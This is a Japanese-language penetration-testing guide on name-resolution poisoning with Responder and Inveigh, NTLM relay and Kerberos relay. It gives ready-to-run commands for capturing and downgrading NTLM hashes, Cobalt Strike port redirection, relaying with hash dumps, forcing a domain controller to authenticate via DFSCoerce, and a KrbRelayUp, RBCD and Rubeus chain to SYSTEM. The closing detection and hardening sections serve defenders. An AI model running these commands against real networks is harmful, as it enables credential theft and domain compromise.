# LLMNR、NBT-NS、mDNS/DNS、WPADおよびリレー攻撃のスプーフィング {{#include ../../banners/hacktricks-training.md}} ## ネットワークプロトコル ### ローカルホスト解決プロトコル - **LLMNR、NBT-NS、およびmDNS**: - Microsoftおよび他のオペレーティングシステムは、DNSが失敗した場合にローカル名解決のためにLLMNRおよびNBT-NSを使用します。同様に、AppleおよびLinuxシステムはmDNSを使用します。 - これらのプロトコルは、UDP上での認証されていないブロードキャストの性質のため、傍受およびスプーフィングに対して脆弱です。 - [Responder](https://github.com/lgandx/Responder)は、これらのプロトコルを照会するホストに対して偽の応答を送信することでサービスを偽装するために使用できます。 - Responderを使用したサービスの偽装に関する詳細情報は[こちら](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)で確認できます。 ### ウェブプロキシ自動検出プロトコル (WPAD) - WPADは、ブラウザがプロキシ設定を自動的に発見することを可能にします。 - 発見は、DHCP、DNSを介して行われ、DNSが失敗した場合はLLMNRおよびNBT-NSにフォールバックします。 - ResponderはWPAD攻撃を自動化し、クライアントを悪意のあるWPADサーバーに誘導します。 ### プロトコルポイズニングのためのResponder - **Responder**は、LLMNR、NBT-NS、およびmDNSクエリをポイズニングするために使用されるツールで、主にSMBサービスをターゲットにしてクエリタイプに基づいて選択的に応答します。 - Kali Linuxにプリインストールされており、`/etc/responder/Responder.conf`で設定可能です。 - Responderは、キャプチャしたハッシュを画面に表示し、`/usr/share/responder/logs`ディレクトリに保存します。 - IPv4およびIPv6の両方をサポートしています。 - Windows版のResponderは[こちら](https://github.com/lgandx/Responder-Windows)で入手できます。 #### Responderの実行 - デフォルト設定でResponderを実行するには: `responder -I ` - より攻撃的なプロービングを行うには(潜在的な副作用あり): `responder -I -P -r -v` - NTLMv1チャレンジ/レスポンスをキャプチャしてクラックを容易にするための技術: `responder -I --lm --disable-ess` - WPADの偽装を有効にするには: `responder -I --wpad` - NetBIOSリクエストを攻撃者のIPに解決し、認証プロキシを設定するには: `responder.py -I -Pv` ### Responderを使用したDHCPポイズニング - DHCP応答をスプーフィングすることで、被害者のルーティング情報を永続的にポイズンし、ARPポイズニングに対するよりステルスな代替手段を提供します。 - これは、ターゲットネットワークの構成に関する正確な知識を必要とします。 - 攻撃を実行するには: `./Responder.py -I eth0 -Pdv` - この方法はNTLMv1/2ハッシュを効果的にキャプチャできますが、ネットワークの中断を避けるために慎重な取り扱いが必要です。 ### Responderを使用した資格情報のキャプチャ - Responderは、上記のプロトコルを使用してサービスを偽装し、ユーザーが偽装されたサービスに対して認証を試みるときに資格情報(通常はNTLMv2チャレンジ/レスポンス)をキャプチャします。 - NetNTLMv1にダウングレードしたり、ESSを無効にして資格情報のクラックを容易にする試みが行われることがあります。 これらの技術を使用する際は、法的かつ倫理的に行動し、適切な承認を得て、混乱や不正アクセスを避けることが重要です。 ## Inveigh Inveighは、Windowsシステム向けに設計されたペネトレーションテスターおよびレッドチーム用のツールです。Responderと同様の機能を提供し、スプーフィングおよび中間者攻撃を実行します。このツールは、PowerShellスクリプトからC#バイナリに進化し、[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh)および[**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)が主要なバージョンです。詳細なパラメータと指示は[**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters)で確認できます。 InveighはPowerShellを通じて操作できます: ```bash Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y ``` C# バイナリとして実行されるか: ```bash Inveigh.exe ``` ### NTLM Relay Attack この攻撃は、SMB認証セッションを利用してターゲットマシンにアクセスし、成功すればシステムシェルを取得します。主な前提条件は以下の通りです: - 認証するユーザーは、リレーされたホストでローカル管理者アクセスを持っている必要があります。 - SMB署名は無効にする必要があります。 #### 445ポートの転送とトンネリング 直接的なネットワーク導入が不可能なシナリオでは、ポート445のトラフィックを転送し、トンネリングする必要があります。[**PortBender**](https://github.com/praetorian-inc/PortBender)のようなツールは、ポート445のトラフィックを別のポートにリダイレクトするのに役立ち、ローカル管理者アクセスがドライバのロードに利用可能な場合に重要です。 PortBenderのセットアップとCobalt Strikeでの操作: ```bash Cobalt Strike -> Script Manager -> Load (Select PortBender.cna) beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory beacon> upload C:\PortBender\WinDivert64.sys # Upload driver beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445 beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server beacon> socks 1080 # Establish a SOCKS proxy on port 1080 # Termination commands beacon> jobs beacon> jobkill 0 beacon> rportfwd stop 8445 beacon> socks stop ``` ### NTLMリレー攻撃のための他のツール - **Metasploit**: プロキシ、ローカルおよびリモートホストの詳細を設定します。 - **smbrelayx**: SMBセッションをリレーし、コマンドを実行したりバックドアを展開するためのPythonスクリプトです。 - **MultiRelay**: 特定のユーザーまたはすべてのユーザーをリレーし、コマンドを実行したりハッシュをダンプするためのResponderスイートのツールです。 各ツールは、必要に応じてSOCKSプロキシを介して動作するように構成でき、間接的なネットワークアクセスでも攻撃を可能にします。 ### MultiRelayの操作 MultiRelayは_**/usr/share/responder/tools**_ディレクトリから実行され、特定のIPまたはユーザーをターゲットにします。 ```bash python MultiRelay.py -t -u ALL # Relay all users python MultiRelay.py -t -u ALL -c whoami # Execute command python MultiRelay.py -t -u ALL -d # Dump hashes # Proxychains for routing traffic ``` これらのツールと技術は、さまざまなネットワーク環境でNTLMリレー攻撃を実施するための包括的なセットを形成します。 ### NTLMログインの強制 Windowsでは、**特権アカウントが任意のマシンに認証するよう強制できる場合があります**。方法を学ぶには、以下のページを参照してください: {{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}} ## Kerberosリレー攻撃 **Kerberosリレー攻撃**は、あるサービスから**AP-REQチケット**を盗み、**同じコンピュータアカウントキー**を共有する別のサービスに再利用します(両方のSPNが同じ`$`マシンアカウントに存在するため)。これは、SPNの**サービスクラスが異なっていても**機能します(例:`CIFS/` → `LDAP/`)。なぜなら、チケットを復号化するための*キー*はマシンのNTハッシュであり、SPN文字列自体ではなく、SPN文字列は署名の一部ではないからです。 NTLMリレーとは異なり、ホップは*同じホスト*に制限されますが、LDAPに書き込むことを許可するプロトコルをターゲットにすると、**リソースベースの制約付き委任(RBCD)**や**AD CS登録**にチェーン接続し、**NT AUTHORITY\SYSTEM**を一度で取得できます。 この攻撃に関する詳細情報は以下を確認してください: - [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html) - [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/) - 1. **Kerberosの基本** | トークン | 目的 | リレーの関連性 | |-------|---------|-----------------| | **TGT / AS-REQ ↔ REP** | KDCに対するユーザーの証明 | 影響なし | | **サービスチケット / TGS-REQ ↔ REP** | 一つの**SPN**にバウンド; SPN所有者のキーで暗号化 | アカウントを共有するSPNの場合は相互交換可能 | | **AP-REQ** | クライアントがサービスに`TGS`を送信 | **私たちが盗むもの & 再生するもの** | * チケットは**SPNを所有するアカウントのパスワード由来のキー**で暗号化されています。 * AP-REQ内の**Authenticator**には5分のタイムスタンプがあり、そのウィンドウ内での再生はサービスキャッシュが重複を検出するまで有効です。 * Windowsは、チケット内のSPN文字列がヒットしたサービスと一致するかどうかをほとんど確認しないため、`CIFS/HOST`のチケットは通常`LDAP/HOST`で正常に復号化されます。 - 2. **Kerberosをリレーするために必要な条件** 1. **共有キー:** ソースとターゲットのSPNが同じコンピュータアカウントに属している(Windowsサーバーではデフォルト)。 2. **チャネル保護なし:** SMB/LDAP署名オフ、HTTP/LDAPSのEPAオフ。 3. **認証を傍受または強制できる:** LLMNR/NBNSポイズン、DNSスプーフ、**PetitPotam / DFSCoerce RPC**、偽のAuthIP、悪意のあるDCOMなど。 4. **チケットソースがすでに使用されていない:** 実際のパケットが到達する前にレースに勝つか、完全にブロックする必要があります。そうでない場合、サーバーの再生キャッシュがイベント4649を発火します。 5. 何らかの方法で**通信のMitMを実行できる必要があります**。ドメインのDNSを変更するためにDNSAminsグループの一部であるか、被害者のHOSTファイルを変更できる必要があります。 ### Kerberosリレー手順 - 3.1 **ホストの偵察** ```powershell # find servers where HTTP, LDAP or CIFS share the same machine account Get-ADComputer -Filter * -Properties servicePrincipalName | Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} | Select Name,servicePrincipalName ``` - 3.2 **リレーリスナーを開始する** [KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp) ```powershell # one-click local SYSTEM via RBCD .\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 ``` `KrbRelayUp`は**KrbRelay → LDAP → RBCD → Rubeus → SCMバイパス**を1つのバイナリにまとめています。 - 3.3 **Kerberos認証を強制する** ```powershell # coerce DC to auth over SMB with DFSCoerce .\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50 ``` DFSCoerceはDCにKerberos `CIFS/DC01`チケットを送信させます。 - 3.4 **AP-REQを中継する** KrbRelayはSMBからGSSブロブを抽出し、それをLDAPバインドに再パッケージ化して`ldap://DC01`に転送します—**同じキー**がそれを復号化するため、認証は成功します。 - 3.5 **LDAPを悪用する ➜ RBCD ➜ SYSTEM** ```powershell # (auto inside KrbRelayUp) manual for clarity New-MachineAccount -Name "FAKE01" -Password "P@ss123" KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID Rubeus s4u /user:FAKE01$ /rc4: /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt SCMUACBypass.exe ``` あなたは現在 **NT AUTHORITY\SYSTEM** を所有しています。 ### **知っておくべきその他のパス** | ベクター | トリック | 重要性 | |--------|-------|----------------| | **AuthIP / IPSec** | 偽のサーバーが任意のSPNを持つ**GSS-IDペイロード**を送信; クライアントはあなたに直接AP-REQを構築 | サブネットを越えても機能; デフォルトでマシンクレデンシャル | | **DCOM / MSRPC** | 悪意のあるOXIDリゾルバーがクライアントに任意のSPNとポートに認証させる | 純粋な*ローカル*特権昇格; ファイアウォールを回避 | | **AD CS Web Enroll** | `HTTP/CA`にマシンチケットをリレーし、証明書を取得、その後**PKINIT**でTGTを生成 | LDAP署名防御を回避 | | **Shadow Credentials** | `msDS-KeyCredentialLink`を書き込み、偽造された鍵ペアでPKINIT | コンピュータアカウントを追加する必要なし | ### **トラブルシューティング** | エラー | 意味 | 修正 | |-------|---------|-----| | `KRB_AP_ERR_MODIFIED` | チケットキー ≠ ターゲットキー | ホスト/SPNが間違っている | | `KRB_AP_ERR_SKEW` | 時計が5分以上のオフセット | 時間を同期するか`w32tm`を使用 | | LDAPバインド失敗 | 署名が強制されている | AD CSパスを使用するか署名を無効にする | | イベント4649のスパム | サービスが重複した認証子を検出 | 元のパケットをブロックまたは競争 | ### **検出** * 数秒以内に同じソースからの**イベント4769**の急増。 * サービス上の**イベント4649**はリプレイが検出されたことを示す。 * **127.0.0.1**からのKerberosログオン(ローカルSCMへのリレー)は非常に疑わしい—KrbRelayUpドキュメントのSigmaルールでマッピング。 * `msDS-AllowedToActOnBehalfOfOtherIdentity`または`msDS-KeyCredentialLink`属性の変更を監視。 ## **ハードニング** 1. **すべてのサーバーでLDAPおよびSMB署名 + EPAを強制**。 2. **SPNを分割**し、HTTPがCIFS/LDAPと同じアカウントにないようにする。 3. 強制ベクターをパッチ(PetitPotam KB5005413、DFS、AuthIP)。 4. **`ms-DS-MachineAccountQuota = 0`**を設定して不正なコンピュータの参加を防ぐ。 5. **イベント4649**および予期しないループバックKerberosログオンにアラートを出す。 ## 参考文献 - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/) - [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/) - [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/) - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/) - [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html) {{#include ../../banners/hacktricks-training.md}}